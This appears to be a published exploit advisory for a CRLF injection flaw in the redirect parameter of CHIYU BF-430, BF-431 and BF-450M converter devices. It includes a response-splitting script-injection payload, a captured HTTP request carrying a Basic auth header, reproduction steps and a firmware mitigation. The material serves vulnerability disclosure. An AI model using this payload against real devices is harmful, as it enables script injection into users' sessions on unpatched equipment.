# Exploit Title: CHIYU TCP/IP Converter devices - CRLF injection  
# Date: May 31 2021  
# Exploit Author: sirpedrotavares  
# Vendor Homepage:  
# Software Link:  
# Version: BF-430, BF-431, and BF-450M TCP/IP Converter devices - all firmware versions < June 2021  
# Tested on: BF-430, BF-431, and BF-450M  
# Publication:  
Description: A CRLF injection vulnerability was found on BF-430, BF-431, and BF-450M TCP/IP Converter devices from CHIYU Technology Inc due to a lack of validation on the parameter redirect= available on multiple CGI components.  
CVSS: Medium โ€“ CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N  
Affected parameter: redirect=Component: all the CGI components  
Payload: %0d%0a%0d%0a<script>alert(document.domain)</script>  
====HTTP request======  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Authorization: Basic OmFkbWlu  
Connection: close  
Upgrade-Insecure-Requests: 1  
======HTTP response========  
HTTP/1.1 302 Found  
Location: setting.htm  
Content-Length: 0  
Content-Type: text/html  
Steps to reproduce:  
1. Navigate to the vulnerable device  
2. Make a GET request to all CGI components  
3. Append the payload at the end of the vulnerable parameter (redirect )  
4. Submit the request and observe payload execution  
Mitigation: The latest version of the CHIYU firmware should be installed  
to mitigate this vulnerability.